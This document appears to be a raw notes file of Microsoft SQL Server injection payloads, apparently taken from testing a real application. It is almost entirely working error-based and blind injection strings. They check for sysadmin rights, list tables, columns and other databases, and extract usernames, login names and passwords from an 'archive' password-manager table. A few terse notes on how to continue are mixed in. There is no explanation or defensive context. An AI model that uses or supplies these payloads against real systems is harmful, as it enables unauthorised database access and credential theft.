'+convert(char,(SELECT IIF(SUBSTRING(HOST_NAME(),1,1)='A',3,@@VERSION)))+'
Microsoft SQL Server 2017 (RTM)
%2bconvert(char,(SELECT IIF(SUBSTRING((***query_here***),1,1)='d',3,@@VERSION)))%2b
'+convert(char,(SELECT IIF(SUBSTRING((select top 1 table_name from INFORMATION_SCHEMA.tables),1,1)='A',3,@@VERSION)))+'
'+convert(int,(user_name()))+' - testuser
'+(SELECT CASE WHEN (is_srvrolemember('sysadmin', 'testuser')=0) THEN 1/0 ELSE NULL END)+' - Nope
'+(SELECT CASE WHEN (is_srvrolemember('sysadmin')=1) THEN 1/0 ELSE NULL END)+' - True
'+(convert(int,(select top 1 table_name from information_schema.tables)))+'
convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Download_Document','login_audit')))
- Keep going find a proper table name
'+convert(int,(select top 1 column_name from information_schema.columns where table_name='users'))+'
'+convert(int,(select top 1 column_name from information_schema.columns where column_name not in ('col1','col2','col3')))+'
'+convert(int,(select top 1 username from users))+'
'+convert(int,(select top 1 username from users where username not in ('user1','user2'')))+'
'+convert(int,(SELECT top 1 DB_NAME(6)))+'
archive
'+convert(int,(SELECT top 1 DB_NAME(6)))+'
Getting other db - DB_NAME(i) 0<i<7(To get no error)
'+convert(int,(Select top 1 name from archive..syscolumns))+'
'+convert(int,(Select top 1 name from archive..syscolumns where name
not in ('alogin','id','psw')))+'
'+convert(int,(SELECT top 1 alogin FROM archive..pmanager where alogin
not in ('REDACTED', 'REDACTED','REDACTED','REDACTED')))+'
'+convert(int,(SELECT top 1 psw FROM archive..pmanager where psw not in
('REDACTED','REDACTED',
'REDACTED','REDACTED')))+'
'+convert(int,(select top 1 column_name from archive..pmanager.alogin))+'